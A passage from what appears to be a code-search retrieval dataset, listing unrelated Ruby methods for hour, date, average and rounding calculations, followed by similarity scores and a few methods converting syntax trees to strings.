"def pm_ratio_value\n return 1 if end_date.nil?\n num_days = (end_date - start_date).to_i + 1\n num_days == 3 ? 0 : num_days\n end",
"def spent_hours_for_issue_this_month\n return @spent_hours_for_issue_this_month if defined?(@spent_hours_for_issue_this_month)\n\n @spent_hours_for_issue_this_month = nil\n\n return @spent_hours_for_issue_this_month if issue_id.blank?\n\n date_filter = Date.today\n\n @spent_hours_for_issue_this_month = TimeEntry.\n where(:issue_id => self.issue_id).\n where(:tyear => date_filter.year).\n where(:tmonth => date_filter.month).\n sum(:hours)\n end",
"def average_duration(contacts, period_start_field, period_end_field)\n contacts.select(\"ROUND(AVG(EXTRACT(EPOCH FROM contacts.#{period_end_field}- contacts.#{period_start_field}))) AS avg\")[0]['avg'] || 0\n end",
"def fuel_hours\n (fuel_blocks / fuel_per_hour).floor\n end",
"def average_rent\n @units.sum(&:monthly_rent) / 2.0\n end",
"def score_for_pair(monday_hour, wednesday_hour)\n @students.inject(0) {|sum, student| sum + student.score_for_pair(monday_hour, wednesday_hour)}\n end",
"def beautifulDays(i, j, k)\n i.upto(j).select {|n| ((n - n.to_s.reverse.to_i) / k.to_f).floor == ((n - n.to_s.reverse.to_i) / k.to_f) }.count\nend",
"def get_works_total_hours\n res_hours =0\n self.works.each do |w|\n res_hours+=w.workhours unless w.workhours.nil?\n end\n return res_hours\n end",
"def average_calories\n dessert_cal = desserts.map do |dessert|\n dessert.calories || 0\n end\n dessert_cal.reduce(:+)/dessert_cal.length\n end",
"def dist_per_time_period(days)\n days.map do |day| \n day.map {|time_period| calc_average_distance(time_period) } \n end\n end",
"def avg_kills_per_shot\n 1 / avg_shots_per_kill\n end",
"def avg_kills_per_shot\n 1 / avg_shots_per_kill\n end",
"def spent_hours\n @spent_hours ||= time_entries.sum(:hours) || 0\n end",
"def hours_from_tasks(user)\n\t\t#time_range = set_time\n\t\ttotal_hours=0\n\t\tif Date.today.day <= 15\n\t\t\t#return first half of month\n\t\t\tuser.tasks.where(complete: true, created_at: Time.now.beginning_of_month..Time.now).each do |t|\n\t\t\t\ttotal_hours += t.hours_to_complete\n\t\t\tend\n\t\telse\n\t\t\t#return second half of month\n\t\t\tuser.tasks.where(complete: true, created_at: Date.today..Time.now.end_of_month).each do |t|\n\t\t\t\ttotal_hours += t.hours_to_complete\n\t\t\tend\n\t\tend \n\t\treturn total_hours\n\tend",
"def hourly_rate_cents(minutes_worked_in_month)\n case self.rate_type\n when 'hourly'\n self.rate_amount_cents\n when 'yearly'\n if minutes_worked_in_month == 0\n 0\n else\n monthly_amount = self.rate_amount_cents.to_f / 12.0\n hours_worked_in_month = minutes_worked_in_month.to_f / 60.0\n (monthly_amount / hours_worked_in_month).to_i\n end\n else\n raise 'illegal rate type'\n end\n end",
"def time_sums(n)\n times = []\n hr = 0\n until hr == 24\n min = 0\n until min == 60\n min_sum = min.to_s.split('').map(&:to_i).reduce(&:+)\n hr_sum = hr.to_s.split('').map(&:to_i).reduce(&:+)\n sum = min_sum + hr_sum\n\n minString = min.to_s.split('')\n hrString = hr.to_s.split('')\n\n minString.unshift('0') until minString.length == 2\n hrString.unshift('0') until hrString.length == 2\n\n times << hrString.join('') + \":\" + minString.join('') if sum == n\n\n min += 1\n end\n hr += 1\n end\n times\nend",
"def average_calories\n calories = self.desserts.map {|dessert| dessert.calories}\n length = calories.length\n calories.sum.to_f / length.to_f\n end",
"def hours(ctx)\n return ctx.shift_hours if earning_tests.none?\n\n earning_tests.map { |test| test.hours(ctx) }.min\n end",
"def calculate_days_hours_minutes(output)\n return unless output =~ /(\\d+) day(?:s|\\(s\\))?,?\\s+(\\d+):-?(\\d+)/\n\n SECS_IN_A_DAY * Regexp.last_match(1).to_i +\n SECS_IN_AN_HOUR * Regexp.last_match(2).to_i +\n SECS_IN_A_MINUTE * Regexp.last_match(3).to_i\n end",
"def absolute_day(month, day)\n\n mo = {\n 1 => 31,\n 2 => 28,\n 3 => 31,\n 4 => 30,\n 5 => 31,\n 6 => 30,\n 7 => 31,\n 8 => 31,\n 9 => 30,\n 10 => 31,\n 11 => 30,\n 12 => 31,\n }\n\n # hash v. loop of arrays, computation v. memory tradeoff\n\n total_days = 0\n\n\n (1...month).each do |i| #1...month is (month-1)\n total_days += mo[i]\n end\n\n total_days + day\n\nend",
"def number_of_hours\n hours_per_week = application_for_offering.hours_per_week\n return nil if hours_per_week.blank?\n hours_per_week.to_d * Activity::WEEKS_PER_QUARTER\n end",
"def get_average_age_for_season(data, season)\n array_of_ages = []\n average = 0\n data.each do |season_in_hash, contestant_array|\n if season_in_hash.to_s == season\n contestant_array.each do |contestant|\n array_of_ages << contestant[\"age\"].to_f\n end \n average = (array_of_ages.inject{ |sum, num| sum + num }.to_f / array_of_ages.size).round\n end\n end\n average\nend",
"def average_marking_time\n @average_marking_time ||=\n if valid_submissions.empty?\n nil\n else\n valid_submissions.sum { |s| s[:published_at] - s[:submitted_at] } / valid_submissions.size\n end\n end",
"def average_finish_time(game, nb_game)\n\n#On initialise la somme des nombres de laps\nsomme = 0\n\n#On teste si le nombre de parties > 100, si non on n'accpete pas\n\tif nb_game < 100 then puts \"Il faut un nombre > 100 !\"\n\n#Si oui, on lance nb_parties (en l'occurence 150) fois le jeu (en l'occurence Stairways)\n\telse\n\t\t\tnb_game.times do game\n\t\t\tsomme += stairway\n\t\t\tend\n\n#On affiche la moyenne du nombre de parties\n\t\tputs \"**************************************************************************\"\n\t\tputs \"Le score moyen de vos #{nb_game} parties est de #{somme/nb_game} !\"\n\t\tputs \"**************************************************************************\"\n\n\tend\n\nend",
"def avg_time_lap\n times = []\n self.voltas.each { |lap_num, lap_stat| times << time_in_ms(lap_stat[:tempo])}\n return ms_to_min(get_avg(times))\n end",
"def convertir_hora_a_segundos(hora)\n hora = hora.split(\":\").map(&:to_i)\n sum = 0\n 3.times do |i|\n sum += hora[i] * 60 ** (2 - i) if hora[i]\n end\n sum\n end",
"def total_day_kwh_usage_on(date)\n raise \"Invalid argument: Please use a date value that is not in the future\" if (date > Time.now.utc.to_date)\n\n cumulative_hourly_kwh_usage = 0.0\n (0..23).each do |i|\n cumulative_hourly_kwh_usage += self.total_hour_kwh_usage_on(date, i)\n #puts cumulative_hourly_kwh_usage.to_s\n end\n cumulative_hourly_kwh_usage\n end",
"def avg_shots_per_kill\n @shots.to_f / @kills\n end",
"def score_for_pair(monday_hour, wednesday_hour)\n score = 0\n score += 1 if available_on?(:monday, monday_hour)\n score += 1 if available_on?(:wednesday, wednesday_hour)\n score\n end",
"def get_total_trip_durations_in_hours\n return RideShare.get_all_trip_durations_in_seconds(trips).to_f / 60 / 60\n end",
"def deviation_hours_for_issue_and_user_this_month\n return @deviation_hours_for_issue_and_user_this_month if defined?(@deviation_hours_for_issue_and_user_this_month)\n\n @deviation_hours_for_issue_and_user_this_month = nil\n\n return @deviation_hours_for_issue_and_user_this_month if user_id.blank?\n\n date_filter = Date.today\n\n scope_for_time_entries = TimeEntry.\n where(:issue_id => self.issue_id).\n where(:user_id => self.user_id).\n where(:tyear => date_filter.year).\n where(:tmonth => date_filter.month)\n\n cf = self.class.deviation_custom_field\n total = cf.format.total_for_scope(cf, scope_for_time_entries)\n @deviation_hours_for_issue_and_user_this_month = cf.format.cast_total_value(cf, total)\n end",
"def calculate_overtime_hours_from(from_time, grouping)\n overtime_hours = (from_time - grouping.due_date) / 1.hour\n # If the overtime is less than 0, that means it was submitted early, so\n # just return 0 - otherwise, return overtime_hours.\n [0, overtime_hours].max\n end",
"def time_data column = \"calories\"\n return [] if !valid?\n return [] if ![\"calories\", \"fat\", \"carbs\", \"protein\"].include?(column)\n\n scope_multiplier = 1\n scope_multiplier = length_scope == \"week\" ? 7 : scope_multiplier\n scope_multiplier = length_scope == \"month\" ? 30 : scope_multiplier\n scope_multiplier = length_scope == \"year\" ? 360 : scope_multiplier\n\n last = num.to_i * scope_multiplier\n\n # First, we get the days\n days = FoodEntry.where(user_id: user_id)\n .group_by_day(:day_ts, default_value: 0, last: last)\n .sum(column)\n .to_a\n\n return days if length_scope == \"day\"\n\n # Group by the weeks\n if length_scope == \"week\"\n weeks = days.group_by_week() { |d| d[0] }\n return average_of weeks\n end\n\n # Group by months\n if length_scope == \"month\"\n months = days.group_by_month { |d| d[0] }\n return average_of months\n end\n\n # Group by year\n if length_scope == \"year\"\n years = days.group_by_year { |d| d[0] }\n return average_of years\n end\n\n return []\n end",
"def freq_intercommit_durations events\n events.map(&:date).sort\n .uniq\n .each_cons(2)\n .map {|before,after| (after.to_i - before.to_i) / 60 }\n .freq_by { |e| e / 5}\n .select {|e| e[0] <= 12 * 8 }\nend",
"def hours_in_year\n return DAYS_IN_YEAR * 24\nend",
"def hours() 60 * minutes end",
"def estimated_velocity_per_day\n estimated_velocity / 7.0\n end",
"def aggregate_time_entries(entries)\n result = {}\n entries.each do |entry|\n if entry.values != nil\n p6activity = entry.task.p6_activity\n if !p6activity.nil?\n if !result.has_key?(p6activity)\n result[p6activity] = 0.0\n end\n entry.values.each do |value|\n result[p6activity] += value.hours.to_f\n end\n end\n end\n end\n result\n end",
"def calculate_heating_on_time(asof_date, frost_protection_temperature)\n daily_kwh = @school.aggregated_heat_meters.amr_data.one_day_kwh(asof_date)\n average_half_hourly_kwh = daily_kwh / 48.0\n (0..47).each do |halfhour_index|\n if @school.temperatures.temperature(asof_date, halfhour_index) > frost_protection_temperature &&\n @school.aggregated_heat_meters.amr_data.kwh(asof_date, halfhour_index) > average_half_hourly_kwh\n return halfhour_index\n end\n end\n nil\n end",
"def day_number_of_the_year day, month, hash \n if month > 1\n for i in 1...month\n day += hash[i]\n end\n end\n day\nend",
"def hours\n _nudge[0]\n end",
"def count_per_time_period(days)\n days.map do |day|\n day.map {|time_period| time_period.size}\n end\n end",
"def deviation_hours_for_user_this_month\n return @deviation_hours_for_user_this_month if defined?(@deviation_hours_for_user_this_month)\n\n @deviation_hours_for_user_this_month = nil\n\n return @deviation_hours_for_user_this_month if user_id.blank?\n\n date_filter = Date.today\n\n scope_for_time_entries = TimeEntry.\n where(:project_id => self.project_id).\n where(:user_id => self.user_id).\n where(:tyear => date_filter.year).\n where(:tmonth => date_filter.month)\n\n cf = self.class.deviation_custom_field\n total = cf.format.total_for_scope(cf, scope_for_time_entries)\n @deviation_hours_for_user_this_month = cf.format.cast_total_value(cf, total)\n end",
"def avg_time_spent\n self.average(:time_spent)\n end"
] |
[
"0.68058556",
"0.65134025",
"0.64575714",
"0.64242923",
"0.6370657",
"0.62075764",
"0.60790074",
"0.60242295",
"0.6009189",
"0.5961018",
"0.59533054",
"0.5938097",
"0.59376955",
"0.5915987",
"0.5885641",
"0.5884477",
"0.5861767",
"0.5859352",
"0.5825722",
"0.5796761",
"0.57828456",
"0.578168",
"0.57734305",
"0.57680297",
"0.57423323",
"0.570441",
"0.57031965",
"0.56926197",
"0.56597686",
"0.5652567",
"0.56465226",
"0.56348675",
"0.56300825",
"0.5621899",
"0.5610278",
"0.5608114",
"0.5606771",
"0.5604634",
"0.55983686",
"0.55866784",
"0.5582808",
"0.5573447",
"0.5553247",
"0.5550008",
"0.55454165",
"0.55394316",
"0.5536691",
"0.55266315",
"0.5518704",
"0.5516959",
"0.5516038",
"0.55055773",
"0.55045605",
"0.5504518",
"0.55010235",
"0.54992086",
"0.5497766",
"0.54974574",
"0.54956615",
"0.54877514",
"0.5487329",
"0.5480292",
"0.54757077",
"0.547453",
"0.54736537",
"0.5469252",
"0.5465963",
"0.5465963",
"0.54556525",
"0.5449735",
"0.5449357",
"0.5431815",
"0.5430054",
"0.5428542",
"0.542396",
"0.54222995",
"0.54200184",
"0.5418019",
"0.5406452",
"0.5402098",
"0.5397765",
"0.5396939",
"0.53949124",
"0.5384773",
"0.5384391",
"0.5384046",
"0.5371278",
"0.53692037",
"0.53667694",
"0.53659606",
"0.53639466",
"0.5355205",
"0.53487146",
"0.53335273",
"0.5332264",
"0.5328966",
"0.5327757",
"0.53246975",
"0.5321439",
"0.53127944"
] |
0.7283312
|
0
|
This has `floor()` since it is going into an integer field, and comparing for tests is easier this way.
|
def union_dues_amount
if (uniondues == true)
return ( find_base_wage() * SystemVariable.value(:union_dues) ).floor
else
return 0
end
end
|
{
"objective": {
"self": [],
"paired": [],
"triplet": [
[
"query",
"document",
"negatives"
]
]
}
}
|
[
"def floor() end",
"def int_if_whole\n whole? ? floor : self\n end",
"def floor()\n #This is a stub, used for indexing\n end",
"def is_i?\n self.to_f == self.to_f.floor\n end",
"def floor\n round :floor\n end",
"def get_real_floor(n)\n n <= 0 ? n : (n > 13 ? n - 2 : n - 1)\nend",
"def floor\n end",
"def floor_number(f)\n\t\t@flrs.index(f)\n\tend",
"def floor\n RDF::Literal::Integer.new(to_d.floor)\n end",
"def is_real_int(value)\n value.ceil == value.floor\n end",
"def floor\n ru_floor_value = property_hash.get(\"Floor\").to_i\n return -1 if ru_floor_value == -1000\n return ru_floor_value\n end",
"def floor_number\n return @floor_number\n end",
"def floor(floor_number)\n\t\t@flrs[floor_number]\n\tend",
"def floor(value)\n numeric_transformation(value) {|n| n.floor}\n end",
"def int_or_float( n ) # demo\n if (n - n.round).abs < 0.00000000001 # alternative n % 1 == 0, but this also helps with bad float maths\n n.round\n else\n return n\n end\nend",
"def integer(x)\n # return integer?(x) ? x.round : nil\n r = x.round\n ((x-r).abs <= relative_to(x)) ? r : nil\n end",
"def whole?\n floor == self\n end",
"def on_call_floor(context, expression)\n number = on_call_number(context, expression)\n\n return number.nan? ? number : number.floor.to_f\n end",
"def floor(key)\n position = search(key)\n return key if key == @keys[position]\n return nil if position == 0\n return @keys[position-1]\n end",
"def floor(value, decimal)\n round_to_significance(value, decimal_to_significance(decimal), :floor)\n end",
"def integer?(x)\n # Computing the tolerance at x seems the best option here\n (x-x.round).abs <= relative_to(x)\n end",
"def test_Rational_InstanceMethods_floor\n\t\tassert_equal(3, Rational(\"22/7\").floor)\n\t\tassert_equal(-4, Rational(\"-22/7\").floor)\n\tend",
"def floor _args\n \"floor _args;\" \n end",
"def is_whole? n\n n.to_i == n\nend",
"def less_than?(val1, val2)\n if val1.int?\n val1.to_i < val2.to_i\n elsif val1.float?\n val1.to_f < val2.to_f\n else\n val1 < val2\n end\nend",
"def floor(a, num)\n low = 0\n high = a.size-1\n while (low <= high)\n mid = (low + high)/2\n return a[mid] if a[mid] == num\n if (a[mid] < num)\n return a[mid] if mid==a.size-1 || (mid+1<a.size && a[mid+1] > num)\n low = mid+1\n else\n high = mid-1 \n end\n end\nend",
"def round_down_number(float)\n float.floor\nend",
"def round_down_number(float)\n float.floor\nend",
"def compare_f(f1, f2)\n\t\t(self.floor_number(f1) - self.floor_number(f2))\n\tend",
"def round_down_number(float)\n\tn = 4.9\n\tn.floor\nend",
"def is_whole?(n)\n (n.to_i == n)\nend",
"def is_integer?(n)\n (n - n.to_i).abs < 0.0000001\nend",
"def normalize(value)\n value -= value.floor \n value += 1 if value < 0\n value\n end",
"def floor\n self\n end",
"def floor\n self\n end",
"def floor\n Quantity.new(@value.floor, @unit)\n end",
"def has_leading_zeros?(value)\n if value.to_s.match(/\\./) # float value\n value.to_s.to_f.to_s.length != value.to_s.length\n else # integer value\n value.to_s.to_i.to_s.length != value.to_s.length\n end\n end",
"def floor_number=(value)\n @floor_number = value\n end",
"def verify_score(score)\n decimal = (score * 60) % 1\n [decimal, 1 - decimal].min < 0.03\nend",
"def ceil()\n #This is a stub, used for indexing\n end",
"def number?(input)\n #edge case, doesn't deal with 1. or 1.30 it either adds a zero or takes one off\n input.to_i.to_s == input || input.to_f.to_s == input\nend",
"def is_value?(value)\n\t\tvalue.to_i < 10\n\tend",
"def of_number(val)\n val > 0\n end",
"def floor(key)\n node_floor(@root, key)\n end",
"def test_check_digits_lower_bound\r\n assert_nil @g.check_digits('0123456789/')\r\n end",
"def is_integer?(num)\n\tif num.is_a? Integer\n\t\ttrue\n\telsif num.is_a? Float\n\t\tif num.nan?\n\t\t\tfalse\n\t\telsif num == num.floor\n\t\t\ttrue\n\t\telse\n\t\t\tfalse\n\t\tend\n\telse\n\t\tfalse\n\tend\nend",
"def degenerate?\n @floor == @ceiling\n end",
"def ceil() end",
"def of_number(val)\n val > 0\n end",
"def ceil\n end",
"def is_odd_no_modulo?(number)\n float = number / 2.0\n float != float.to_i.to_f \nend",
"def integer?(num)\n num.to_i > 0 && num.to_i.to_s == num\nend",
"def is_integer?(num)\n # first two arguments can be replaced with num.is_a?(Integer)\n num.class == Fixnum || num.class == Bignum || ( num.class == Float && !num.nan? && num == num.floor )\nend",
"def round_float(f)\n retval = f == f.to_i ? f.to_i : f\n return retval\n end",
"def floor(ndigits = 0)\n appr(Q.new(10)**-ndigits, 0)\n end",
"def int_or_f(number)\n if number.to_f - number.to_i == 0.0\n number = number.to_i\n else\n number = number.to_f\n end\nend",
"def FLOOR(value, precision = 0)\n value.floor(precision)\n end",
"def divisible_by_thousand?(number)\n (number % 1000).zero?\n end",
"def floor_to(value, significance)\n round_to_significance(value, significance, :floor)\n end",
"def should_be_integer?(field_info, field)\n field_info[\"type\"] == \"INTEGER\"\n end",
"def rounddiv(a, b)\n c = a / b\n remainder = a - b * c\n if (remainder * 2).abs < b.abs\n c\n else\n c + 1\n end\nend",
"def valid_value_for_test\n value = @options[:equal_to] || @options[:less_than_or_equal_to] || @options[:greater_than_or_equal_to]\n\n value ||= @options[:less_than] - 1 if @options[:less_than]\n value ||= @options[:greater_than] + 1 if @options[:greater_than]\n\n value ||= 10\n\n if @options[:even]\n value = (value / 2) * 2\n elsif @options[:odd]\n value = ((value / 2) * 2) + 1\n end\n\n value\n end",
"def floor!(target: COMMON_SCALE_FACTORS)\n round!(target: target, direction: -1)\n end",
"def min(field)\n determine(field, :<=)\n end",
"def restrict_to_bounds(value, lower = 1, upper = nil)\n value_i = value.to_i\n\n value_i = upper if !upper.blank? && value_i > upper\n value_i = lower if !lower.blank? && value_i < lower\n\n value_i\n end",
"def part1(line)\n max = 0\n min = 99999\n numbers = line.split()\n numbers.each do |n|\n max = n.to_i if n.to_i > max\n min = n.to_i if n.to_i < min\n end\n return max - min\nend",
"def range1d?(o)\n o.int_range?\nend",
"def integer?() end",
"def sanitize_interest(int)\n\t int < 1.0 ? int : (int / 100.0)\n end",
"def dtype_for_floor_or_ceil\n if self.integer_dtype? or [:complex64, :complex128, :object].include?(self.dtype)\n return_dtype = dtype\n elsif [:float32, :float64].include?(self.dtype)\n return_dtype = :int64\n end\n\n return_dtype\n end",
"def num_check(num_one,num_two)\n num_one.to_i.to_s == num_one &&num_two.to_i.to_s == num_two || num_one.to_f.to_s == num_one &&num_two.to_f.to_s == num_two\nend",
"def validate_round(input)\n if input < 1 || input > 10\n false\n else\n true\n end\n end",
"def divisible_by_ten?(number)\n number % 10 === 0\nend",
"def integer?(num)\n num.to_i.to_s == num\nend",
"def compare_generic(value, op, num, unitsize)\n # get the value in the appropriate unit, rounded up.\n # divmod returns [quotient, modulus] (An efficient implementation\n # of divmod uses a single CPU operation to return both quantities.)\n divmod = value.divmod(unitsize)\n unitval = divmod[0] # value in the appropriate unit\n unitval += 1 unless divmod[1] == 0 # round up, if necessary\n\n # do the comparison to generate the return value of this function\n compare_op(op, unitval, num)\n end",
"def normalize_value value\n return value if value.is_a? String\n return \"0\" if value < 0\n return \"10\" if value > 10\n value.to_s\nend",
"def parse(v)\n ((float = Float(v)) && (float % 1.0 == 0) ? float.to_i : float) rescue v\nend",
"def which_floor(directions)\n\tfloor = 0\n\tdirections.split('').each do |direction|\n\t\tcase direction\n\t\twhen \"(\" then floor += 1\n\t\twhen \")\" then floor -= 1\n\t\tend\n\tend\n\tfloor\nend",
"def integer?(field)\n self.send(field).is_a? Integer\n end",
"def greater_than?(val1, val2)\n if val1.int?\n val1.to_i > val2.to_i\n elsif val1.float?\n val1.to_f > val2.to_f\n else\n val1 > val2\n end\nend",
"def floor_div(input_a, input_b, name: nil)\n check_data_types(input_a, input_b)\n _op(:floor_div, input_a, input_b, name: name)\n end",
"def integer?(num)\n num.to_i().to_s()==num\nend",
"def is_integer?\n self.to_i.to_s == self\n end",
"def test_starting_price_in_correct_range\n property_of {\n integer\n }.check { |seed|\n initial_price = @market.initial_price(seed)\n assert initial_price >= 1.0 && initial_price <= 30.0\n }\n end",
"def match_modulo?(number)\n return false unless ordinal?\n\n case attributes.match\n when 'last-two-digits'\n ordinal == number % 100\n when 'last-digit'\n ordinal == number % 10\n when 'whole-number'\n ordinal == number\n else\n true\n end\n end",
"def constrain(size)\n if size < @floor\n @floor\n else\n @ceiling && size > @ceiling ? @ceiling : size\n end\n end",
"def accurate_division(int, int_two)\n int = int.to_f\n int_two = int_two\n q = int / int_two\n return q.round(3)\nend",
"def round_to_boundaries(normalized_data)\n normalized_data.map do |x|\n if x > 1\n 1\n elsif x < 0\n 0\n else\n x\n end\n end\n end",
"def type_cast(v)\n ((float = Float(v)) && (float % 1.0 == 0) ? float.to_i : float) rescue v\n end",
"def divisable_by_given?(number, given)\n number % given == 0\n end",
"def has_decimal_part?()\n #This is a stub, used for indexing\n end",
"def integer?(object)\n (object.to_s.to_i == object) || (object.to_i.to_s == object)\nend",
"def interesting_number(number)\n return false if number.to_s.split(\"\").length < 3 \n number.to_s.split(\"\").sort[0] == \"0\" ? number.to_s.split(\"\").delete_at(0) && number.to_s.split(\"\").push(\"0\") : x = x\n return number.to_s.split(\"\")[0] < number.to_s.split(\"\")[-1] ? number.to_s.split(\"\").sort == number.to_s.split(\"\") || false : number.to_s.split(\"\").sort.reverse == number.to_s.split(\"\") || false\nend",
"def near_hundred(n)\n (n-100).abs <= 10 || (n-200).abs <= 10\nend",
"def ceiling\n case type\n when :string then 50\n when :integer then 42\n when :float then 42.0\n end\n end",
"def number\n number = number.to_s\n if number.includes?('.')\n number = number.to_f\n else\n number = number.to_i\n end\nend",
"def lookup(val)\n rounded_value = val.respond_to?(:round) ? val.round : val\n transformed_value = (rounded_value < 1) ? 1 : rounded_value\n super(transformed_value.to_s)\n end",
"def get_floor()\n get_parent(\"FLOOR\")\n end",
"def round_odd_even(integer)\n if integer.floor % 2 == 0\n integer.floor\n else\n integer.ceil\n end\nend",
"def is_num_type?(obj)\n Numeric === obj && obj.respond_to?(:between?) && obj.class.method_defined?(:<)\n end",
"def try_a_number(v)\n ((float = Float(v)) && (float % 1.0 == 0) ? float.to_i : float) rescue v\n end"
] |
[
"0.7255528",
"0.72333413",
"0.7035788",
"0.69273317",
"0.68750656",
"0.67283434",
"0.66177654",
"0.65688676",
"0.64811516",
"0.6477454",
"0.64462936",
"0.63731426",
"0.62181544",
"0.6154802",
"0.61179996",
"0.61144155",
"0.60919446",
"0.59918034",
"0.59846103",
"0.59532154",
"0.5943833",
"0.58964777",
"0.5892546",
"0.58695567",
"0.5808645",
"0.58067703",
"0.580142",
"0.580142",
"0.57714623",
"0.5768839",
"0.5755622",
"0.5753692",
"0.57311946",
"0.56658214",
"0.56658214",
"0.5616202",
"0.5554334",
"0.555182",
"0.5550797",
"0.554648",
"0.5532278",
"0.55039895",
"0.5501153",
"0.5497058",
"0.5488126",
"0.54805577",
"0.54747957",
"0.5474556",
"0.54482317",
"0.5434494",
"0.5399538",
"0.53967977",
"0.53810745",
"0.53810406",
"0.5359024",
"0.53533304",
"0.53521776",
"0.5349537",
"0.5346597",
"0.53330857",
"0.53198975",
"0.5319717",
"0.53145236",
"0.5296807",
"0.528725",
"0.5285572",
"0.5279672",
"0.52739584",
"0.5269501",
"0.5269364",
"0.5261767",
"0.5260618",
"0.52581656",
"0.52573043",
"0.52446663",
"0.5242832",
"0.5235384",
"0.5231016",
"0.5230438",
"0.5224584",
"0.52205735",
"0.52205503",
"0.5210055",
"0.5205812",
"0.52023125",
"0.5198887",
"0.519624",
"0.5183398",
"0.51807076",
"0.5176755",
"0.5175728",
"0.5174424",
"0.5164783",
"0.5154494",
"0.51485336",
"0.5145621",
"0.51437503",
"0.5139259",
"0.5139151",
"0.5138587",
"0.51385725"
] |
0.0
|
-1
|
Write the given ast to a string and returns it
|
def to_s(ast)
@file = ''
process(ast)
@file
end
|
{
"objective": {
"self": [],
"paired": [],
"triplet": [
[
"query",
"document",
"negatives"
]
]
}
}
|
[
"def ast; end",
"def ast; end",
"def inspect\n self.ast.to_s\n end",
"def to_s\n PgQuery::Deparse.from ast\n end",
"def inspect; to_ast.inspect end",
"def dump_ast\n print_ast(@top_node, \"\")\n puts \"\"\n end",
"def to_s\n StringIO.open do |buffer| # FIXME in RDF::Statement\n buffer << (subject.is_a?(Variable) ? subject.to_s : \"<#{subject}>\") << ' '\n buffer << (predicate.is_a?(Variable) ? predicate.to_s : \"<#{predicate}>\") << ' '\n buffer << (object.is_a?(Variable) ? object.to_s : \"<#{object}>\") << ' .'\n buffer.string\n end\n end",
"def to_s\n # Ideally, SymbolicValues shouldn't escape into trace world, and\n # we shouldn't require this if condition. However, they do escape.\n # This is because of the symbolic values being stored in concrete\n # hashes and arrays in SymbolicResult#each or SymbolicArray#map.\n if tracer.tracing?\n return self.ast.to_s\n end\n @to_s ||= begin\n to_s_var = TraceAST::Var.new(\"to_s\")\n var = tracer.new_var_for(TraceAST::Dot.new(self.ast,to_s_var))\n # Except for nil and empty string, to_s never\n # returns an empty string.\n SymbolicNonEmptyString.new var\n end\n end",
"def node_as_string(node)\n return nil unless node\n\n case node.type\n when :symbol, :symbol_literal\n node.source[1..]\n when :label\n node.source[0..-2]\n when :dyna_symbol\n content = node.jump(:tstring_content)\n content.nil? ? node.source : content.source\n when :string_literal\n content = node.jump(:tstring_content)\n return content.source if content != node\n\n # This attempts to work around a bug in YARD (https://github.com/lsegal/yard/issues/779)\n # Check to see if the string source appears to have a heredoc open tag (or \"most\" of one)\n # If so, remove the first line and the last line (if the latter contains the heredoc tag)\n source = node.source\n if source =~ HEREDOC_START\n lines = source.split(\"\\n\")\n source = lines[1..(lines.last.include?(Regexp.last_match(1)[0..-2]) ? -2 : -1)].join(\"\\n\") if lines.size > 1\n end\n\n source\n when :regexp_literal\n node.source\n end\n end",
"def to_s\n if ((@p).equal?(-1))\n fill_buffer\n end\n buf = StringBuffer.new\n i = 0\n while i < @nodes.size\n t = @nodes.get(i)\n buf.append(\" \")\n buf.append(@adaptor.get_type(t))\n i += 1\n end\n return buf.to_s\n end",
"def to_sxp\n require 'sxp' unless defined?(SXP)\n # Output rules as a formatted S-Expression\n SXP::Generator.string(@ast.map(&:for_sxp))\n end",
"def to_sxp\n require 'sxp' unless defined?(SXP)\n # Output rules as a formatted S-Expression\n SXP::Generator.string(@ast.map(&:for_sxp))\n end",
"def to_s(node = @head, string = [])\n return string << 'nil' if node.nil?\n\n string << node.value\n to_s(node.next_node, string)\n string.join('->')\n end",
"def token_to_str(t); end",
"def token_to_str(t); end",
"def assemble_to_string\n #put the strings at the end of the assembled code.\n # adding them will fix their position and make them assemble after\n @string_table.values.each do |data|\n add_block data\n end\n io = StringIO.new\n assemble(io)\n io.string\n end",
"def call(ast)\n ast\n end",
"def to_s\n Utils::Escape::SafeString.new(@nodes.map(&:to_s).join(NEWLINE))\n end",
"def getAST\n return @ast\n end",
"def getAST()\n return @ast\n end",
"def to_s\n @node.to_s\n end",
"def to_s()\n r = \"\"\n t = \"\"\n\n # the parent node\n case @type\n when Type::NONE then t = ''\n when Type::TEXT then t = 't'\n when Type::NUMBER then t = 'n'\n when Type::OPERATOR then t = 'o'\n end\n r << t << '(' << \"#{@value}\"\n\n # childs nodes\n \n if !empty()\n size = @childs.size\n for i in 0..size\n r << @childs[i].to_s()\n if i < size-1\n r << ' '\n end\n end\n end\n\n r << \")\"\n end",
"def to_s\n io = StringIO.new\n write io\n io.string\n end",
"def to_str\n str = \"\"\n REXML::Formatters::Pretty.new(1).write(@xml,str)\n\n return str \n end",
"def stringify(nodes, options = T.unsafe(nil)); end",
"def to_str\n str = \"\"\n REXML::Formatters::Pretty.new(1).write(@xml,str)\n \n return str \n end",
"def to_s\n PrettyPrinter.new.process(to_sexp)\n end",
"def to_s\n\t\treturn self.stringify_nodes( @output )\n\tend",
"def to_s\n\t\t@node_string\n\tend",
"def to_string(indent, node)\r\n if node == nil\r\n print \" \"*indent + \"nil\"\r\n return\r\n end\r\n print \" \"*indent + \"ch: #{node.char}\\n\"\r\n print \" \"*indent + \"freq: #{node.freq}\\n\"\r\n print \" \"*indent + \"left: \\n\"\r\n to_string(indent+3, node.left)\r\n print \"\\n\"\r\n print \" \"*indent + \"right: \\n\"\r\n to_string(indent+3, node.right)\r\n print \"\\n\"\r\n end",
"def make_ast(source)\n scanner = make_scanner(source)\n parser = Ringo::Parser::LoxParser.new(scanner.tokens)\n Ringo::Tools::AstPrinter.new.print(parser.parse.first)\nend",
"def compile(ast)\n init(ast) unless ast.nil?\n\n throw('No AST given') if ast.nil?\n throw('Empty AST given') if ast.length == 0\n\n if ast.length == 1 && ast.first.is_a?(Babelfish::Phrase::Literal)\n # просто строка\n return ast.first.text\n end\n\n ready = ast.map do |node|\n case node\n when Babelfish::Phrase::Literal\n node.text\n when Babelfish::Phrase::Variable\n node\n when Babelfish::Phrase::PluralForms\n sub = node.to_ruby_method\n else\n throw(\"Unknown AST node: #{node}\")\n end\n end\n\n lambda do |params|\n data = ready.map do |what|\n case what\n when Babelfish::Phrase::Variable\n params[what.name.to_s].to_s\n when Proc\n what = what.call(params)\n else\n what\n end\n end.join('')\n data\n end\n end",
"def ast_class; end",
